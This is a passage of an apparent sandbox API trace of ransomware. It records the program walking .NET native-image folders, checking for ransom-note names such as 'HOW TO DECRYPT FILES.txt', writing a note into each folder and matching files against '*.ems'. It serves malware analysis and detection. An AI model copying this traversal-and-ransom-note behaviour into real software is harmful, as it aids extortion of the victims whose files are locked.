[0123.706] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45b48b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.706] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.706] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8ef3d7e6809291cb84a980d3b5838e4e", cAlternateFileName="8EF3D7~1")) returned 0 [0123.706] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.707] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xaml", cAlternateFileName="SYSTEM~1.XAM")) returned 1 [0123.707] lstrcmpA (lpString1=".", lpString2="System.Xaml") returned -1 [0123.707] lstrcmpA (lpString1="..", lpString2="System.Xaml") returned -1 [0123.707] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.707] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Xaml" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml" [0123.707] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.708] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.708] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.708] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.708] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.708] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fb6b4d41d7ce9edebd6203a161832f44", cAlternateFileName="FB6B4D~1")) returned 1 [0123.708] lstrcmpA (lpString1=".", lpString2="fb6b4d41d7ce9edebd6203a161832f44") returned -1 [0123.709] lstrcmpA (lpString1="..", lpString2="fb6b4d41d7ce9edebd6203a161832f44") returned -1 [0123.709] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\*.*") returned="*.*" [0123.709] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\", lpString2="fb6b4d41d7ce9edebd6203a161832f44" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44" [0123.709] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.709] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.709] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.709] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.709] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.709] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5566ef30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5566ef30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x556bb1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x245a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xaml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.709] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xaml.ni.dll") returned -1 [0123.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xaml.ni.dll") returned -1 [0123.710] lstrcmpiA (lpString1="", lpString2="System.Xaml.ni.dll") returned -1 [0123.710] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\*.*") returned="*.*" [0123.710] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\" [0123.710] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\") returned="" [0123.710] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt" [0123.710] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xaml\\fb6b4d41d7ce9edebd6203a161832f44\\how to decrypt files.txt")) returned 0xffffffff [0123.710] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xaml\\fb6b4d41d7ce9edebd6203a161832f44\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.723] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.723] CloseHandle (hObject=0x90) returned 1 [0123.723] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\", lpString2="System.Xaml.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll" [0123.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll", pszSpec="*.ems") returned 0 [0123.724] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xaml.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.724] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xaml.ni.dll.aux") returned -1 [0123.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xaml.ni.dll.aux") returned -1 [0123.724] lstrcmpiA (lpString1="", lpString2="System.Xaml.ni.dll.aux") returned -1 [0123.724] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll") returned="System.Xaml.ni.dll" [0123.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\" [0123.724] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\") returned="" [0123.724] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt" [0123.724] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xaml\\fb6b4d41d7ce9edebd6203a161832f44\\how to decrypt files.txt")) returned 0x20 [0123.724] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\", lpString2="System.Xaml.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll.aux" [0123.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\System.Xaml.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.725] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xaml.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.725] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.725] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x55695090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x55695090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fb6b4d41d7ce9edebd6203a161832f44", cAlternateFileName="FB6B4D~1")) returned 0 [0123.725] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.725] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xaml.Hosting", cAlternateFileName="SYSTEM~1.HOS")) returned 1 [0123.725] lstrcmpA (lpString1=".", lpString2="System.Xaml.Hosting") returned -1 [0123.725] lstrcmpA (lpString1="..", lpString2="System.Xaml.Hosting") returned -1 [0123.725] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.725] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Xaml.Hosting" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting" [0123.725] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.726] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0e0c19b181a5f5efad4a25b054971c98", cAlternateFileName="0E0C19~1")) returned 1 [0123.727] lstrcmpA (lpString1=".", lpString2="0e0c19b181a5f5efad4a25b054971c98") returned -1 [0123.727] lstrcmpA (lpString1="..", lpString2="0e0c19b181a5f5efad4a25b054971c98") returned -1 [0123.727] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\*.*") returned="*.*" [0123.727] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\", lpString2="0e0c19b181a5f5efad4a25b054971c98" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98" [0123.727] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.727] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.277] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.277] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.277] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xaml.Hosting.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0124.277] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.277] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xaml.Hosting.ni.dll") returned -1 [0124.277] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xaml.Hosting.ni.dll") returned -1 [0124.277] lstrcmpiA (lpString1="", lpString2="System.Xaml.Hosting.ni.dll") returned -1 [0124.277] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\*.*") returned="*.*" [0124.277] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\" [0124.277] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\") returned="" [0124.277] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt" [0124.277] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xaml.hosting\\0e0c19b181a5f5efad4a25b054971c98\\how to decrypt files.txt")) returned 0xffffffff [0124.279] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xaml.hosting\\0e0c19b181a5f5efad4a25b054971c98\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.316] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.316] CloseHandle (hObject=0x90) returned 1 [0124.316] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\", lpString2="System.Xaml.Hosting.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll" [0124.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll", pszSpec="*.ems") returned 0 [0124.317] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xaml.Hosting.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0124.317] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.317] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xaml.Hosting.ni.dll.aux") returned -1 [0124.317] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xaml.Hosting.ni.dll.aux") returned -1 [0124.317] lstrcmpiA (lpString1="", lpString2="System.Xaml.Hosting.ni.dll.aux") returned -1 [0124.317] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll") returned="System.Xaml.Hosting.ni.dll" [0124.317] lstrcpyA (in: lpString1=0x407019, 